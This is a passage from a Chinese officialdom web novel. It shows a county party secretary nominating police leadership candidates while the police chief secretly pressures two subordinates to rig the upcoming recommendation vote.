他没有再纠缠于夏向明过往经历的“含金量”,而是用一种看似“妥协”实则“敲定”的句式说道:“既然国栋同志如此坚持,认为夏向明同志具备相应的业务背景和能力基础……那……”
他再次顿了一下,目光扫过在场的每一个人,“那就……把夏向明同志也‘列入’吧。”
“列入”两个字说得很重,不是“推荐”,也不是“重点考虑”,仅仅是“列入名单”。
这更像是一种程序性的、安抚性的、甚至略带嘲讽的让步,仿佛是为了堵住李国栋的嘴。
给他一个台阶下,同时也为接下来的动作腾出了空间——这个人选有硬伤,但我会让你“保留”在名单里作为一个“选择项”存在。
“好!好!谢谢江**!谢谢!”李国栋如蒙大赦,长长地呼出一口气,后背的衣衫几乎能拧出水来,整个人像虚脱般往椅背上靠了靠。
虽然惊心动魄,但好歹保住了夏向明的一个“名额”,没有被当场否掉。
至于后面“差额”怎么填,只能走一步看一步了。
他现在只求能稳住当前局面。
然而,一直在一旁不吱声的刘博文,适时地开口了。
他非常清楚江昭宁铺垫了这么久,绝不可能仅仅是为了否定一个人而放过关键问题。
他声音沉稳清晰,既是提问,更是在引导和确认江**的核心意图:“江**,按照您的指示,夏向明同志保留一个候选名额。”
“但您刚才明确指出,两个职位至少需要四名候选人才符合规定。现在我们只确定了吴兴昌同志,保留了夏向明同志。那么,您的下一步重要指示呢?”
“是否由您直接指示,或者明确建议……另外两位候选人是谁?”
这问题问得精准,直接切中了要害。
所有人都屏住呼吸,目光聚焦在江昭宁身上。
前面所有的程序讨论、人选否决与“保留”,仿佛都是为了此刻的正式提名!
会议室里只剩下空调的低鸣和一些人粗重而压抑的呼吸声。
江昭宁微微向后靠在椅背上,姿态看似放松,眼神却锐利如鹰,缓缓扫过全场。
他没有立刻说出名字,而是拿起水杯,又轻轻放下。
这短暂的动作间隙,却让时间的流速仿佛被拉伸至极致,每一次心跳都清晰可闻。
终于,他开口了,声音不高,却如同巨石投入深潭,激起了千层巨浪:“我看……乔国良同志可以。”
“乔国良?!”
这个名字的出现,瞬间在李国栋心中引发了核爆般的冲击!
他眼前猛地一黑,手脚冰
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凉,方才因“保住”夏向明而稍稍升起的一丝暖意瞬间冻结粉碎!
最恐怖的猜测,最不愿面对的结局,终究还是来了!
然而,江昭宁的话并未结束。
他没有看李国栋惨无人色的脸,而是带着一种……奇异的、在官场上罕见的、坦荡的评价:“这个同志,我略有接触,但了解一些他的事情。”
江昭宁的语气很平实,如同在描述一个客观事实,“他这个人,给我的印象很深刻。他不唯上,只唯实!”
这几个字,掷地有声,在每个人心头激起回响。
江昭宁顿了顿,语气中甚至带上了一丝若有若无的赞赏:“他有自己的判断力,有原则性。”
“为了坚持他认为正确的事,为了守护他的职责底线,甚至可以毫不顾忌地得罪人。”
“不管这人官位有多大,背景有多深!”
接着,他说了一句足以让全场所有人瞠目结舌的话:“甚至,对我这位县委领导,也有过直言不讳、不太礼貌的时候。”
“也就是国栋同志所说的顶撞,冒犯!”
他没有具体说是什么事,但这种坦然自揭“伤疤”的行为本身就极具冲击力!
在座的党委成员,谁不是对领导小心翼翼?谁敢对领导“不礼貌”?
江昭宁挥了挥手,那动作带着一种睥睨一切的豁达:“但这些,在大局面前,在工作面前,在不徇私枉法、恪尽职守面前,统统都是不值一提的!”
李国栋只觉得浑身冰冷,如坠冰窟。
江昭宁不仅提名了乔国良,还给了他如此高的评价和如此坚实的理由!
这几乎是在为乔国良的上位扫清一切**障碍!
“格局!胸襟!”刘博文脑中只闪过这两个词。
能当众这样评价一个曾“冒犯”过自己、甚至直接挑战了县**局“内部潜规则”的干部,江昭宁展现出的这份胸襟和识才用才的眼光,让在场的人,包括李国栋的铁杆支持者,心头都猛地一震!
看江昭宁的目光瞬间充满了惊诧、敬佩甚至一丝畏惧。
这个年轻的**,不是来和稀泥的,也不是简单的权力斗争。
他是真的在考虑全局,真的是在考虑谁能真正担当大任!
第87章 成竹在胸
会议室里一片寂静,针落可闻。
每个人的表情都无比复杂。
乔国良被提名,这本身已足够震撼。
而江昭宁对他“不唯上,只唯实”、“甚至得罪我”的高度评价,以及“大局面前不值一提”的盖棺论定,更是让这份提名充满了令人敬畏的分量!
这既是对乔国良能力的认可,更是对李国栋治下某种风气的否定!
这不仅是提拔,更是一种价值观的宣示!
李国栋只觉得天旋地转。
江昭宁对乔国良的每一句评价,都像是一记记响亮的耳光,狠狠地抽在他的脸上!
“那么,江**,”刘博文的声音再次响起,打破了几乎凝固的空气,也打破了众人沉浸在江昭宁震撼表态中的思绪,“您指出的乔国良同志是一位人选。”
“但是按照‘四选二’的原则,还差一位候选人?您认为谁比较合适?”
江昭宁似乎早已成竹在胸。
“还有一个吗?”他像是在自问自答,“我看城关镇派出所的刘洋意同志就挺不错!”
“刘洋意!”这个名字再次让李国栋感到一阵意外!
这是派出所所长!
而且江昭宁居然连一个镇派出所长都这么熟悉?
江昭宁接着补充,这番话更是如同雷霆万钧,彻底堵**李国栋可能反对的所有路径:“城关镇是我们县的‘脸面’,县城的心脏!”
“城关镇派出所,是我们县局的核心所,它的地位特殊,维护县城核心区的治安稳定,责任重于泰山!”
“城关镇派出所的工作量、复杂性和重要性,在全局都数一数二!所长就是县城的‘治安总管家’!”
他顿了顿,抛出极具说服力的论据:“据我所知,在其他经济发达、社情复杂的县,基本上都是派副局长去兼任城关镇派出所所长的!”
“这不仅仅是为了提高派出所的协调层级和资源调配能力,更是体现了县委县政府对县城治安工作的高度重视!”
“这,是成熟做法,也是加强县城治安管控的有效举措。”
他的目光看向刘博文,“刘政委,组织口的统计数据应该能佐证这一点吧?这是有例可循的!”
他再次环视全场,目光如炬:“刘洋意同志在城关所干了快十年,是真正的‘老城区’,社情熟、业务精、威信高!经验丰富!压得住阵脚!”
“把他纳入副局长人选考察范围,既是出于对他个人能力的认可,也是出于加强县城治安力量配置的长远考虑。”
“这,符合上级精神,也符合我们县的实际需要。”
“这样的人,提拔起来并兼任城关所长,不正体现了我前面说的‘配强’原则吗?”
“不也正符合上级强调的重视基层、倚重实战型干部的精神吗?”
乔国良,代表的是强硬、原则、唯实!
刘洋意,代表的是扎根基层、经验丰富、懂实战、能镇场!
这两个提名,一个在“硬”度上补充,一个在“重”度上强化,形成了一种完美的互补结构!
完全跳出了李国栋原来的人选格局!
最关键的是,这两个提名,有理有据!有政策支撑!有现实需求!有典型范例!
江昭宁终于说出了他的“不同的解决方法”——不是合并机构,而是提拔!
通过人事调整来解决问题!
李国栋彻底瘫坐在椅子上,面如死灰。
江昭宁不仅精准地提名了足以威胁他掌控力的乔国良,还顺带塞进了一个刘洋意,并且为刘洋意量身定做了一个极具说服力的“兼任”理由!
这哪里是简单的补充候选人?
这分明是一场精心策划、步步为营的权力再分配!
他之前所有的布局和算盘,在江昭宁看似随意实则雷霆万钧的“指示”下,瞬间变得支离破碎。
江昭宁精心编织的这个局,滴水不漏,步步紧逼。
他不仅保不住原有提名,连提名权都被对方牢牢掌控。
更要命的是,对方提名的人选,无论是乔国良还是刘洋意,都将成为插入他权力核心的两把尖刀!
未来县局领导班子的格局,也将彻底改变了方向。
会议室内鸦雀无声。
震撼、思索、权衡、惊惧、敬佩……种种情绪在各人脸上交织。
权力的棋盘,已然在江昭宁举重若轻的
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手腕下,落下了改变格局的重子。
最终推谁,江昭宁显然有他的想法,而且绝不会轻易放过。
他微微向后靠在椅背上,那双深邃、仿佛能洞穿人心的眼睛缓缓扫过在座的每一位党委委员的脸庞——局长李国栋神情嘴角似乎有一丝不易察觉的紧绷;政委刘博文低头在笔记本上快速记录着什么。
其他几位党委委员们则神态各异,有的若有所思,有的略显疲惫,有的则刻意保持着一种中立的平静。
“该说的,今天说了这么久,我想也差不多了。”江昭宁的声音不高,却带着一种不容置疑的穿透力,清晰地落入每个人的耳中。
他停顿了一下,“核心任务,就是后天这个**推荐。你们,”他的目光再次扫视一圈,“明天务必把各自分管领域的工作捋顺,该交代的交代清楚,把精力都给我集中到这件事上来。”
“我想,后天早上九点钟,准时开始走流程,不能再拖了。”
他的语气平淡,却像一块巨石投入平静的水面,在每个人心中都激起了波澜。
这个“流程”,指向明确,就是决定谁将上位的**推荐。
这一步的结果,往往在很大程度上决定了最终的人选归属。
说完,江昭宁没有立刻转向其他人,而是身体微微侧转,视线精准地投向了李国栋。“国栋同志,你看,这个安排怎么样?”
李国栋像是早有准备,在江昭宁话音未落之际便立刻挺直了腰板,脸上迅速堆起恭敬而热切的笑容,连声道:“我看行!”
“江**,您考虑得非常周全,时间点也卡得准。”
“后天九点,我们保证准时开始,局里上下全力配合,绝不出任何纰漏!”他的回应快速、响亮,透着一股不容置疑的服从感,仿佛江昭宁的提议就是金科玉律。
江昭宁微微颔首,似乎对李国栋的反应很满意。
随即,他的目光转向了刘博文。“博文同志,”他的语气转为一种直接的指令,“具体的会务组织、材料准备、场地布置、人员通知,这一摊子事,就辛苦你牵头负责落实了。”
“务必细致,确保万无一失。”
第88章 惯例?
刘博文立刻放下笔,抬起头,迎着江昭宁的目光,神情严肃而郑重:“是!江**,请您放心,我立刻着手安排,保证把准备工作做到位,确保推荐大会顺利圆满。”
他的回答铿锵有力,显示出一贯的严谨作风。
会议室内短暂地陷入了一种事务性安排完毕后的沉寂。
然而,就在江昭宁似乎要宣布散会的前一刻,李国栋的脸上掠过一丝犹豫,他清了清嗓子,身体微微前倾,做出一个欲言又止的姿态。
“江**……”李国栋的声音带着恰到好处的迟疑。
江昭宁正要端茶杯的手停在了半空,锐利的目光再次聚焦在李国栋脸上:“嗯?国栋同志,还有什么问题?直说。”
李国栋仿佛得到了鼓励,眉头微微拧起,露出一副忧心忡忡、完全从工作角度出发的模样:“江**,是这样……我们**工作,性质确实太特殊了。”
“我们**队伍,跟其他机关真不一样。一线警力是全年无休,神经时刻绷紧的。”
“您也知道,‘养兵千日,用兵千日’这话,放在我们身上再贴切不过了。”
他掰着手指数起来,语速不快,却显得理由充分:“您看啊,这两天,外省有个大案需要协查,我们派了精干力量出差了。”
“手上还有几个本地的积案正在攻坚。”
“各基层所队、业务大队的值班备勤,那是雷打不动,时刻准备应对突发警情。”
“还有交巡警大队没有正式上街,派出所的警力要维持二十四小时街面巡控。”
“再加上市局临时抽调的专项培训学习班……林林总总算下来,真正能在局里坐班的警力,确实非常有限。”
李国栋又加重语气道:“这七七八八加起来,就占了相当,甚至是大半的警力啊!您说说,这……”
他顿了顿,目光诚恳地看向江昭宁,又环视了一下其他党委委员,仿佛在寻求认同:“所以,江**,如果严格按照‘全员参与’的要求来进行这次**测评推荐的话……”
“操作起来,现实困难很大啊。”
“很多同志确实分身乏术,强行要求都回来,说实话,对当前正在处理的工作是个不小的干扰和削弱。”
“真要出了岔子,责任谁也担不起。”
李国栋把“责任”二字咬得很重。
这番话,听起来完全是出于对**工作特殊性和现实困难的考虑,充满了责任感和务实精神。
“哦?”江昭宁放下茶杯,身体向后靠回椅背,指尖无意识地轻轻敲击着桌面,脸上看不出什么特别的情绪,只是淡淡地问:“那你的意思呢?说说看。”
他的语气里带着一丝不易察觉的审视。
李国栋仿佛就在等这句话,他立刻坐得更直,胸有成竹地抛出了自己的方案:“我的意思是,考虑到实际困难和工作需要,这次**推荐大会,是不是可以……只通知股级以上的领导干部参加?”
“这样既能保证参与人员的代表性和覆盖面——毕竟股级以上干部对全局情况、对候选人的了解更为深入全面——又能最大限度地避免对一线警力的抽调,确保日常勤务和应急处突力量不受影响。”
“这样,既保障了程序推进,也最大限度减少了对基层实际工作的冲击。”
他特意补充了一句,语气显得理所当然:“而且,这其实……也算是我们系统内类似人事推荐工作的一个惯例了。”
“干部推荐干部,更聚焦,也更有效率嘛。”他巧妙地偷换了概念。
按常规,领导干部参与的侧重在“推荐”人选,而更广泛的普通**参与的才侧重于“测评”干部的表现和满意度。
只让股级以上领导干部参加,本质上就是只进行“推荐”,剔除了普通**的“测评”环节。
刘博文的心猛地一沉,握着笔的手指不自觉地用力,指节有些发白。
他太了解李国栋了。
这套说辞,表面上冠冕堂皇,滴水不漏,把“工作需要”、“警力紧张”、“遵循惯例”这些大旗都扛了出来,完全站在了工作的制高点上,让人一时难以反驳。
然而,这背后隐藏的用心,却让刘博文感到一阵寒意。
李国栋在县**局深耕多年,从政委到局长,前后加起来已超过十载。
这漫长的岁月里,**局的中层干部——那些股级以上的中层领导干部们——几乎都与他有着千丝万缕的联系。
其中绝大部分,要么是他担任局长时亲手考察提拔的,要么是在他主政期间得到重用和栽培的。
这些中层干部,构成了县**局承上启下的核心
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骨架,也构成了李国栋经营多年的、盘根错节的人脉网络和影响力根基。
他们对李国栋,或多或少都存有知遇之恩或敬畏之心。
刘博文深知,一旦只让这些股级以上干部参加推荐会,会场局面极有可能被李国栋牢牢掌控。
李国栋只需在会前稍作暗示,或者利用他多年积累的威信,就能引导投票倾向。
缺少了广大普通**——那些真正在一线摸爬滚打、对干部作风和能力有切身体会的基层声音——的参与,这场所谓的“**推荐”,其“**”的成色将大打折扣。
结果极可能变成一场符合李国栋心意的“内部推举”。
这些中层干部为了自保也好,为了“感恩”也好,为了未来的仕途也罢,在推荐时几乎不会出现第二种声音。
而这,与江**此刻隐忍却坚决想要掌控局面、力图通过这个关键人事安排推动工作新气象、甚至可能隐含某种“破冰”意图的期望,只会是南辕北辙,相去**!
这无异于把一道精心设计的棋局,拱手送给了藏在幕后控盘的对手!
江**想要打破某些固化的利益圈子的意图,很可能就此落空。
刘博文心中焦虑万分,他飞快地思考着该如何委婉地提出反对意见,点明其中风险,又不至于显得是在直接挑战李国栋或者质疑江**的决定。
他张了张嘴,正准备措辞发言。
然而,就在这个节骨眼上,一个让刘博文几乎以为自己听错了的声音响了起来。
“嗯……”江昭宁沉吟了仅仅一秒钟,随即干脆利落地一挥手,脸上甚至露出一丝理解的笑意,“国栋同志考虑得很实际,**工作有特殊性,警力紧张是客观事实。”
“好,就按你说的办。”
“通知股级以上领导干部参加后天的**推荐大会。”
这轻描淡写的一句话,如同惊雷般在刘博文耳边炸响!
他猛地抬起头,眼睛因极度的震惊而微微睁大,难以置信地看向江昭宁。
他脸上的表情瞬间凝固,混合着惊愕、困惑和一丝不易察觉的焦虑。
他甚至下意识地眨了眨眼,怀疑自己是不是出现了幻听。
江**……就这么同意了?
同意了李国栋这个明显包藏私心,存心不良的方案?
第89章 拱手送给他?
他难道没看穿李国栋的意图?
还是说……他另有深意?
刘博文的脑子瞬间一片混乱,各种猜测纷至沓来。
与刘博文的错愕形成鲜明对比的,是李国栋脸上那几乎掩饰不住的表情。
他的嘴角无法遏制地向上扯动了一下,一丝近乎得意的笑意如同水面涟漪般迅速漾开。
虽然立刻被他低头喝茶水的动作掩去了大半。
但那份“计谋得售”、“一切尽在掌握”的舒畅感,却像一层薄薄的油脂,怎么也压不住地从他眼神里、从放松下来的肩膀姿态上渗透出来。
喝了一口茶水后。
李国栋对江昭宁微微欠身,语气中带着一丝掩饰不住的轻松:“江**支持就好!”
“这样安排效率确实高很多,对工作影响也降到最低。”
“谢谢江**理解!”
他眼中瞬间闪过的那一抹如释重负的光芒,那是一种精心谋划初步得逞后的松弛和自信。
“博文同志,”江昭宁仿佛没看到刘博文的失态和李国栋的心中窃喜,语调依旧平稳,转向刘博文,“那就按这个范围通知。”
“其他的准备工作,照常进行,务必细致。”
他的目光在刘博文脸上停留了一瞬,那眼神平静无波,深不见底,让人完全无法揣测其真实想法。
“是……明白。”刘博文艰难地咽了口唾沫,压下心头的惊涛骇浪,强迫自己恢复冷静,点头应承下来。
他知道此刻再说什么都是徒劳,只能先执行命令。
“好,那就这样。散会吧。”江昭宁率先站起身,动作利落。
随着椅子的挪动声,党委成员们纷纷起身。
李国栋动作最快,紧跟在江昭宁身侧,脸上带着谦恭的笑容,似乎在低声说着什么。
刘博文收拾着桌上的笔记本,动作有些迟缓。
他的目光追随着江昭宁和李国栋离去的背影,眉头紧锁,心头的疑云和沉重感不仅没有消散,反而更加浓郁了。
窗外,天色不知何时已经暗了下来,会议室里惨白的灯光显得更加刺眼。
后天的**推荐大会,似乎从一开始,就笼罩上了一层难以言喻的迷雾。
江昭宁那看似随意的点头应允,像一颗投入深潭的石子,激起的涟漪之下,究竟隐藏着怎样的暗流?
刘博文感到一种山雨欲来的压抑。
他意识到,这场关于人选的较量,远比他想象的要复杂和凶险。
李国栋的得意,江昭宁的深不可测,还有自己这个夹在中间、洞悉隐忧却无力改变的政委……
后天的会场,注定不会平静。
他深吸一口气,将笔记本重重合上,发出“啪”的一声轻响。
县**局大楼前,李国栋微微躬着身,脸上堆满了恰到好处的恭敬与热忱,小心翼翼地江昭宁拉开了那辆黑色公务轿车的后座车门。
他的动作流畅而殷勤,仿佛这是最重要的工作。
“江**,您慢走,路上注意安全。”李国栋的声音带着十二分的诚恳,“后天的事情您放心,我们一定办得妥妥帖帖,绝不让您失望。”
江昭宁深深地看了他一眼,那眼神平静无波,却仿佛带着某种穿透力,让李国栋心头微微一凛。
但江昭宁最终只是点了点头,没有多言,矮身坐进了车里。
车门“嘭”地一声轻响关上,隔绝了内外。
李国栋站在原地,脸上那谦恭的笑容并未立刻散去,只是目光变得幽深起来。
他挥着手,目送着轿车平稳启动,车轮卷起门前空地上的些许浮尘,缓缓驶离了**局大院。
直到那车尾灯彻底消失在院门外的拐角,融入县城的车流之中,他才缓缓放下手臂。
脸上的笑容如同潮水般迅速退去,取而代之的是一种深沉、冷静,甚至带着一丝阴鸷的算计。
他没有像往常散会后那样径直走向自己的专车回家,而是猛地转身,步履沉稳而快速地重新走进了办公大楼。
皮鞋踏在大理石地面上,发出清晰而富有节奏的回响,在略显空旷的楼道里显得格外突兀。
他没有回自己那间宽敞明亮的局长办公室,而是直接拐进了旁边一间更隐蔽、更靠近走廊尽头的另一间小办公室。
这间屋子陈设简单,隔音效果却极好,是他处理一些“特殊”事务的地方。
他反手锁上门,隔绝了外界的一切。
室内只开了一盏台灯,昏黄的光线将他的身影投射在墙壁上,显得有些扭曲。
他没有丝毫耽搁,直接拿起桌上的电话,拨通了一个短号。
“贡达,立刻到我这里来一趟。
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”他的声音低沉,不容置疑,没有多余的客套。
不到三分钟,门外响起了略显急促的敲门声。
政工室主任贡达推门而入,脸上还带着一丝刚从会议室出来、尚未平息的余温,以及接到局长紧急召唤的疑惑和不安。
“局长,您找我?”贡达小心翼翼地关好门,站在办公桌前,微微欠身。
李国栋没有立刻让他坐下,而是用他那双锐利的眼睛,像探照灯一样上下打量着贡达,仿佛要穿透他的皮囊,看到他内心深处的想法。
这审视的目光让贡达感到一阵莫名的压力,后背的肌肉不自觉地绷紧了。
“贡主任,”李国栋终于开口,声音不高,却字字清晰,带着一种无形的压迫感,“今天的党委会,你全程参加了。”
“江**的话,你应该一字不落都听清楚了。”
他顿了顿,手指无意识地敲击着光滑的桌面,发出笃笃的轻响,像敲在贡达的心坎上。
“关于夏向明……江**的意思很明确,他不适合走业务局长这条线。”
贡达的心猛地一跳,似乎预感到了什么,喉结紧张地滚动了一下。
李国栋身体微微前倾,目光牢牢锁定贡达的眼睛,语气变得更加直接而冷酷:“也就是说,他下一步最可能的安排,就是来接替你的位置——政工室主任!”
“轰”的一声!
贡达只觉得脑袋像是被重锤狠狠砸了一下,眼前瞬间发黑,耳朵嗡嗡作响。
政工室主任?!这是要端掉他的饭碗?!
他脑子里一片空白。
他脸上的血色瞬间褪去,变得有些苍白,嘴唇微微哆嗦了一下,想说什么却又没说出来,眼神里充满了震惊。
政工室主任这个位置,虽然不像副局长那样有实打实的办案权力,但管着全局的人事、宣传、党建、思想教育,是名副其实的“管官”的位置,油水、人脉、影响力,哪一样都不缺!
更是他苦心经营多年才坐稳的宝座。
李国栋将贡达的惊惶尽收眼底,嘴角勾起一丝不易察觉的冷笑,语气带着赤裸裸的提醒和敲打:“贡主任,你比夏向明还年轻几岁吧?”
“论资历、论背景,你哪点不如他?”
“让你把这位子让出来,拱手送给他?你心里能舒服?”
第90章 接替我?!
李国栋故意停顿了一下,让贡达充分消化这残酷的可能性,然后声音压得更低,带着一种近乎残酷的直白:“再说了,为了坐上这个位置,你也没少费劲吧?”
“花了多少心思,走了多少门路?”
“那‘三瓜两枣’的,我就不提了,你给我的,不过是点心意,大头……”
他伸出食指,向上指了指天花板,眼神意味深长,“我说的是上头!那才是大头!”
“你前前后后搭进去多少家底儿,费了多少周折才打通关节坐上这把交椅,你自己心里最清楚不过!”
“那可不是小数目!”
“你真舍得?真愿意就这么便宜了夏向明?”
这番话像冰冷的刀子,直接捅进了贡达最隐秘也最恐惧的地方。
他额头上瞬间渗出了细密的汗珠,脸色由白转青,眼神慌乱地四处游移,仿佛脚下踩着的不是地板,而是烧红的烙铁。
李国栋精准地戳中了他的痛处和软肋——这个位置,是他倾尽资源、赌上未来才得来的,绝不能让出去!
他感觉自己就像“土地庙里长草——慌了神”,整个人都乱了方寸。
“局……局长,这……这……”贡达语无伦次,声音都有些发颤,完全失去了平时八面玲珑的政工干部形象。
李国栋看着他的狼狈样,心中冷笑更甚,但脸上却摆出一副推心置腹、为他着想的姿态:“贡主任,现在摆在你面前的,其实就两条路,很好选。”
他伸出两根手指,慢条斯理地说道,“第一条路,你帮点小忙,让夏向明顺利被推荐提拔上去当副局长。”
“他走他的阳关道,你继续坐稳你的政工室主任宝座。”
“你们井水不犯河水,各自相安无事,皆大欢喜。”
他刻意停顿,观察着贡达的反应,然后才缓缓竖起第二根手指,语气陡然变得森冷,“第二条路,就是你什么都不做,或者做得不够,最终让他没能当上副局长。”
“结果会怎样?”
“江**总要给夏向明一个交代。那这政工室主任的位置,就是现成的、最合适的安慰奖!”
“到时候……你下去,他上来?让他来鸠占鹊巢?”
“现在告诉我,你是想走第一条路,两不相扰,你好我好大家好呢?”
“还是非要走上第二条路,给自己找一个随时能把你的老底翻出来晒一晒的对手?嗯?”
李国栋的每一个字都像重锤,砸在贡达的心上。
第二条路的结局清晰得可怕。
“我……我当然……”贡达几乎是本能地、急切地脱口而出,“我当然希望两不相扰!各走各路最好!”
他生怕李国栋误解了他的犹豫。
“很好!”李国栋猛地一拍桌子,声音不高却带着十足的威慑力,“识时务者为俊杰!”
“既然你希望‘两不相扰’,那就该明白明天该怎么做,后天的推荐会上,该怎么做!”
贡达如同抓住了救命稻草,忙不迭地点头,眼中闪过一丝狠厉:“明白!局长,我明白!”
“我力推他夏向明上副局长之位!”
“还有吴兴昌!光你明白还不够!”李国栋身体后仰,靠在宽大的椅背上,恢复了掌控全局的姿态,“你要把我的意思,准确无误地、悄悄地传达下去。”
“特别是那些关键的中层干部,那些股级以上的头头脑脑们,让他们都心里有数!”
“记住,要做得巧妙,不留痕迹,但效果必须到位!”
“要让他们知道,跟着谁走……推谁,保谁!”
“是!局长放心!我一定把话带到,把事办好!”贡达挺直了腰板,声音带着一种豁出去的决绝。
“去吧,抓紧时间!”李国栋挥了挥手,像打发一个完成任务的卒子。
“是!”贡达如蒙大赦,连忙应声,也顾不上擦满头的冷汗,几乎是手脚并用地推开门,带着一腔劫后余生般的紧迫感,匆匆消失在走廊的阴影里。
贡达前脚刚走。
办公室的门刚关上不到两分钟,李国栋没有丝毫犹豫,再次拿起听筒。
“韵清**吗?是我。”
“你手头的事先放一放,立刻到我办公室来一趟。对,就是现在。”
他的语气依旧是不容置疑的命令口吻,但比叫贡达时似乎多了一丝微妙的、不易察觉的“尊重”,毕竟对方是手握**利剑的纪委**于韵清。
很快,于韵清敲门走了进来。
他身材清瘦,戴着眼镜,气质显得比贡达沉稳内敛许多,但眉宇间也带着一丝疑惑。
“局长,您找我?”于韵清在办公桌前的椅
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子上坐下,姿态端正。
李国栋没有立刻进入正题,而是先递过去一支烟,自己也点上一支,深深吸了一口,让烟雾在两人之间缭绕,营造出一种“私下交心”的氛围。
他压低声音,神情变得异常严肃而神秘:“韵清**,有个重要情况,刚才在楼下送江**上车的时候。”
“他特意把我拉到一边,低声交代了几句。”
他故意停顿,观察着于韵清的反应,果然看到对方推了推眼镜,身体微微前倾,显然被勾起了兴趣。
“江**的意思是,”李国栋的声音压得更低,几乎如同耳语,“他觉得夏向明下一步的安排,可能更适合往纪委这条线上发展。”
“江**的大意是,‘夏向明现在不是管着警务督察吗?它跟**工作是一脉相连,融通性很强。本质上就是一家亲!’”
“‘都是管人、管纪律、管作风的!’”
“‘下一步,应该让他……主持纪委的工作比较合适。’”
“‘夏向明经验丰富,他转过来上手也快!’”
“江**觉得,让他接替你担任纪委**,是个非常不错的思路,那么优秀,可以强化我们局的**工作,开拓新局面嘛。”
“接替我?!”于韵清脸上的沉稳瞬间崩塌!
他镜片后的眼睛猛地睁大,瞳孔急剧收缩,脸色“唰”地一下变得苍白。
刚才还端坐的身形也不由自主地晃动了一下,仿佛被无形的重拳击中。
他比贡达更清楚纪委**这个位置的份量和风险——这个位置虽然清苦,得罪人,但却是核心党委成员,是监督者,更是某种护身符!
一旦失去,后果不堪设想!
而且,他和夏向明的年纪确实相差无几,正值年富力强,谁被取代都意味着**生命的重大挫折甚至终结。
巨大的危机感瞬间攫住了他,脸上写满了惶急和难以置信。
李国栋将于韵清剧烈的反应尽收眼底,心中冷笑。
但表面上却露出一副同仇敌忾、为他担忧的表情:“是啊,韵清**!你看,你和夏向明年纪相仿,能力资历都不相上下。”
“要是真让他来取代你……”他故意叹了口气,摇摇头,“这……这对你而言,就太不公平了。”
“你甘心吗?”
第91章 有人暗中串通
于韵清心里一阵惊愕,自己的职位就要被取代!被挤走!由夏向明取而代之?
“局长!这……这绝对不行!”于韵清再也无法保持镇定,声音带着一丝颤抖的急切,“我……我……”
他想说自己工作勤勉、并无过错,但在江**的“意图”面前,这些理由似乎都苍白无力。
有江**的授意!
这个对手…太致命了!
“不甘心?不想被取代?不想挪窝?”李国栋掐灭了烟头,身体越过办公桌,更靠近于韵清,眼神锐利如刀,“那就听我的!”
“只要你按我说的做,我保证,后天的推荐结果,会让他夏向明彻底断了去纪委的念想!”
“你于韵清的纪委**位置,稳如泰山!”
于韵清像是溺水之人抓住了最后一根浮木,急切地追问:“局长,您说!要我怎么做?”
李国栋脸上露出一丝掌控一切的微笑,他招了招手。
于韵清会意,立刻将耳朵凑了过去。
昏黄的台灯光线下,李国栋俯在于韵清耳边,声音压得极低,嘴唇快速翕动着,吐出一连串只有他们两人才能听清的低语。
“按我原来的设想办……”他的话语像一条冰冷的毒蛇,缓缓缠绕在于韵清的心头。
于韵清听着,脸上的惶急渐渐被一种复杂的神色取代——有震惊,有犹豫。
但最终,一种为了自保而不得不如此的狠厉和决绝,压倒了其他情绪。
他一边听,一边用力地点着头。
“……明白了吗?这件事,只有你知,我知。”李国栋最后直起身,目光灼灼地盯着于韵清。
“明白!请局长放心!我知道该怎么做!”于韵清深吸一口气,眼神已经变得坚定,甚至带着一丝破釜沉舟的冷硬。
“好!去吧,动作要快,要隐秘!”李国栋满意地挥了挥手。
“是!”于韵清站起身,背影很快融入门外走廊的昏暗之中。
办公室的门再次关上,只剩下李国栋一人。
他走到窗前,撩开厚重的窗帘一角,望着窗外县城渐次亮起的万家灯火,脸上那深沉的算计之色在玻璃的反光中显得格外清晰。
他嘴角缓缓勾起一抹冷酷而自信的弧度,仿佛一个精心编织的蛛网已经悄然张开,只等着猎物在后天的晨光中自投罗网。
贡达和于韵清,这两个关键棋子已经落位。
他们手下能影响到的股级干部们,也会在无形的威压和明确的“提示”下,做出“正确”的选择。
这两人会将自己的意图不着痕迹地传达下去的,其他的参会领导干部也会看自己的眼色行事的。
一场针对江昭宁意图的阻击战。
在他这间小小的密室里,已然完成了最关键的部署。
夜色,正浓。
午夜的钟摆早已无声地滑过某个刻度,县委家属院沉入一种近乎凝滞的深度睡眠。
江昭宁书房兼卧室的窗棂透出的一方薄光,如深海孤岛般固执地亮着,顽强抵抗着无边无际的黑暗。
空气凝滞,连白日里喧闹的夏虫也噤了声,唯有窗外几株老玉兰在偶尔掠过的微风中,将几片沉重的花瓣无声抖落在窗台。
就在这片连呼吸都显得多余的寂静里。
他关了灯,准备休息,明天还有许多工作要做。
倏地,他的手机骤然爆发出刺耳欲裂的蜂鸣!
那声音毫无征兆,像一把冰冷的钢锥,带着撕裂一切的蛮横力量,狠狠扎穿了房间的静谧,也扎透了江昭宁昏沉的神经末梢。
他半阖的眼皮被这突如其来的尖啸猛地惊开。
一丝极细微的恼怒,如同水面上瞬间破裂的气泡,在他深不见底的眼底飞快掠过。
这个时间点,铃声本身就意味着不容轻慢的紧急。
不是天塌下来的大事,就算是县委**,也断然不敢贸然惊扰他这片刻的休憩。
他探身,目光扫过屏幕上跳动的号码。
一串数字,有些熟悉。
他脑海中念头一闪,手指已按下了接听键。
“江**?”听筒里传来的声音带着一种极力压制却依旧泄露无遗的紧绷,甚至有些变调,“打扰您休息了,真…真不好意思。”
是魏明君。
江昭宁没有寒暄,身体微微前倾,握话筒的手稳定如磐石,声音在寂静的房间里显得格外沉实,直接切入了核心:“什么事?”言简意赅,带着不容敷衍的穿透力。
电话那端传来一声短促而沉重的吸气声,仿佛魏明君在积攒最后一点勇气。“是,是这样的,江**。”
他语速加快,字句间带着一种近乎窒息的紧迫感,“今晚上……发生了一些反常的动态。”
“我…我反复掂量,觉得实在不能压到明天,不得不这个时
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候打电话向您汇报。”
“说。”江昭宁的回应只有一个字,却像无形的重锤,催促着对方亮出底牌。
“是…是有关明天推选的事!”魏明君的声音压得更低,如同耳语,却字字清晰,“似乎……似乎有人暗中串通,搞非组织活动!”
“他们要……要有目的地集中投夏向明、吴兴昌的票!”
这个名字被他说得异常艰涩,像是从喉咙里硬挤出来的,“而……而另外两名您提名的候选人,乔国良和刘洋意……他们打算联手排除在外!”
“江**,我知道,乔、刘两位是您战略部署里的关键一环,我是衷心拥护、坚决支持的!”
“可他们现在……他们这分明是要搅乱您的布局啊!”
